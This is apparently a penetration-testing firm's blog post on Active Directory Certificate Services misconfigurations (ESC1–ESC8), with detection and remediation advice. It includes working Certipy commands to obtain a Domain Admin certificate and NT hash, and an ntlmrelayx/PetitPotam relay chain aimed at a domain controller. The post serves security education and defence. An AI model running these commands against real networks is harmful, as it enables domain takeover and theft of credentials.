How Certificates became AD's Biggest Attack Surfaces

How Certificates became AD’s Biggest Attack Surfaces

By keiran
February 23, 2026

Active Directory Certificate Services (ADCS) has quietly become one of the most reliable paths to domain compromise we encounter during internal penetration tests. It’s deployed widely across enterprise environments, rarely hardened, and the attack techniques are well understood enough to be consistent — yet most organisations have never had their PKI infrastructure reviewed.

This post breaks down the most common ADCS misconfigurations we find, how they’re exploited, and what you can do about them.

What Is ADCS?

ADCS is Microsoft’s Public Key Infrastructure (PKI) implementation, used to issue digital certificates for authentication, encryption, and code signing within Active Directory environments. When a user or machine authenticates using a certificate, Active Directory trusts it implicitly — which is exactly what makes misconfigurations here so dangerous.

The research that brought ADCS attacks into mainstream offensive security awareness came from SpecterOps in 2021, with Will Schroeder and Lee Christman publishing “Certified Pre-Owned.” That paper catalogued eight escalation paths — ESC1 through ESC8 — each exploiting a different misconfiguration in how certificate templates or the CA itself is configured. Several more have since been documented by the community.

ESC1: Enrollee-Supplied Subject with Client Authentication

This is the most commonly encountered ADCS misconfiguration and arguably the most impactful. It occurs when a certificate template meets all of the following conditions:

The template allows the enrollee to specify the Subject Alternative Name (SAN)
The template includes a Client Authentication EKU (Extended Key Usage)
Low-privileged users (e.g., Domain Users) have enrolment rights
Manager approval is not required

When these conditions are met, any domain user can request a certificate that claims to be a Domain Admin — and Active Directory will accept it for authentication.

The attack using Certipy looks like this:

# Find vulnerable templates
certipy find -u lowprivuser@domain.local -p 'Password123' -dc-ip 10.10.10.10 -vulnerable

# Request a certificate as a Domain Admin
certipy req -u lowprivuser@domain.local -p 'Password123' -ca CORP-CA -template VulnerableTemplate -upn administrator@domain.local -dc-ip 10.10.10.10

# Authenticate with the certificate and retrieve the NT hash
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10

From there, the NT hash can be used for pass-the-hash or to request a Kerberos TGT, giving full domain access. The entire chain from low-privileged domain user to Domain Admin can take under five minutes.

ESC2: Wildcard Certificate Templates

ESC2 affects templates configured with the “Any Purpose” EKU, or no EKU at all. Certificates issued from these templates can be used for any purpose, including client authentication. If low-privileged users can enrol, this effectively enables the same outcome as ESC1 but through a different configuration path.

These templates are often created historically for legacy application compatibility and forgotten. The template may have been reasonable at the time it was created, but over years of AD growth the enrolment ACLs have drifted to include groups far broader than originally intended.

ESC3: Certificate Request Agent Abuse

ESC3 is a two-stage attack. It requires two vulnerable templates: one that grants Certificate Request Agent rights, and one that allows an agent to enrol on behalf of another user.

Stage one requests a Certificate Request Agent certificate. Stage two uses that certificate to request a certificate on behalf of a Domain Admin. Again, the end result is full domain compromise from a low-privileged starting position.

ESC4: Vulnerable Certificate Template Access Control

ESC4 occurs when low-privileged users have write permissions over a certificate template object in Active Directory. This allows an attacker to modify the template’s configuration — for example, enabling the supply of a SAN — turning a previously safe template into an ESC1-vulnerable one. The attack is then carried out as normal, after which the template can be restored to avoid detection.

This is particularly dangerous because it leaves no persistent misconfiguration — the template is modified, exploited, and reverted, making forensic identification harder.

ESC6: EDITF_ATTRIBUTESUBJECTALTNAME2 on the CA

This is a CA-level flag rather than a template misconfiguration. When EDITF_ATTRIBUTESUBJECTALTNAME2 is enabled on a Certificate Authority, any template with Client Authentication enabled — regardless of whether it normally allows SAN specification — can be used to request certificates with an attacker-controlled SAN.

It effectively makes every enrolable Client Authentication template vulnerable to the same ESC1-style attack. We find this flag enabled surprisingly often, sometimes as a result of troubleshooting steps taken years ago that were never reversed.

# Check for ESC6 using Certipy
certipy find -u user@domain.local -p 'Password123' -dc-ip 10.10.10.10 -vulnerable

# Or using Certutil on Windows
certutil -config "CA-SERVER\CA-NAME" -getreg policy\EditFlags

ESC8: NTLM Relay to AD CS HTTP Endpoints

ESC8 moves away from template misconfigurations entirely and targets the CA’s web enrolment endpoints. If the Certificate Authority has the Web Enrolment role installed and the HTTP endpoint does not require HTTPS or enforce Extended Protection for Authentication (EPA), it’s vulnerable to NTLM relay attacks.

An attacker on the network can coerce authentication from a machine account (using techniques like PetitPotam or PrinterBug) and relay that authentication to the CA’s web enrolment interface to request a certificate on behalf of the coerced machine. If that machine is a Domain Controller, the result is a certificate for the DC’s machine account — which can be used to perform a DCSync and extract all domain credential material.

# Set up the relay with impacket
ntlmrelayx.py -t http://ca-server/certsrv/certfnsh.asp -smb2support --adcs --template DomainController

# Coerce authentication from the DC (PetitPotam)
python3 PetitPotam.py -u lowprivuser -p 'Password123' attacker-ip dc-ip

# Authenticate with the obtained certificate
certipy auth -pfx dc.pfx -dc-ip 10.10.10.10

This attack path requires no misconfigured templates and no elevated privileges — just network access and a CA with web enrolment exposed over HTTP.

Detection and Remediation

On the detection side, certificate enrolment events are logged under Event ID 4886 (certificate requested) and 4887 (certificate issued) on the CA. Monitoring for high-privileged UPNs appearing in certificate requests from unexpected accounts is a reasonable detection strategy, though it requires log forwarding from the CA which is frequently absent.

Priority remediation actions:

Audit all certificate templates for dangerous combinations of SAN supply, Client Authentication EKU, and broad enrolment rights. Certipy’s find -vulnerable output is a good starting point.
Disable EDITF_ATTRIBUTESUBJECTALTNAME2 on all CAs unless there is a specific, documented business requirement.
Enforce HTTPS on all CA web enrolment endpoints and enable EPA.
Remove enrolment rights from templates that no longer have an active use case.
Review ACLs on template objects in Active Directory to ensure low-privileged users cannot modify them.

The Broader Point

ADCS misconfigurations are a good example of a recurring theme in internal penetration testing: the attack surface isn’t always where organisations expect it to be. Budgets go into firewalls, endpoint detection, and MFA — all of which matter — but the PKI infrastructure that underpins Active Directory authentication is left in a default or near-default state for years.

These aren’t exotic, researcher-only techniques. They’re in tooling that’s freely available and well documented. If you have ADCS deployed and it hasn’t been reviewed recently, it’s worth finding out what’s there before someone else does.

If you’d like a conversation about Active Directory security assessments or internal penetration testing, get in touch with the Silverback Cyber team.

Silverback Cyber is an independent penetration testing consultancy based in Edinburgh, Scotland. We conduct comprehensive security assessments across web applications, Active Directory, cloud infrastructure, and AI systems.

How Certificates became AD’s Biggest Attack Surfaces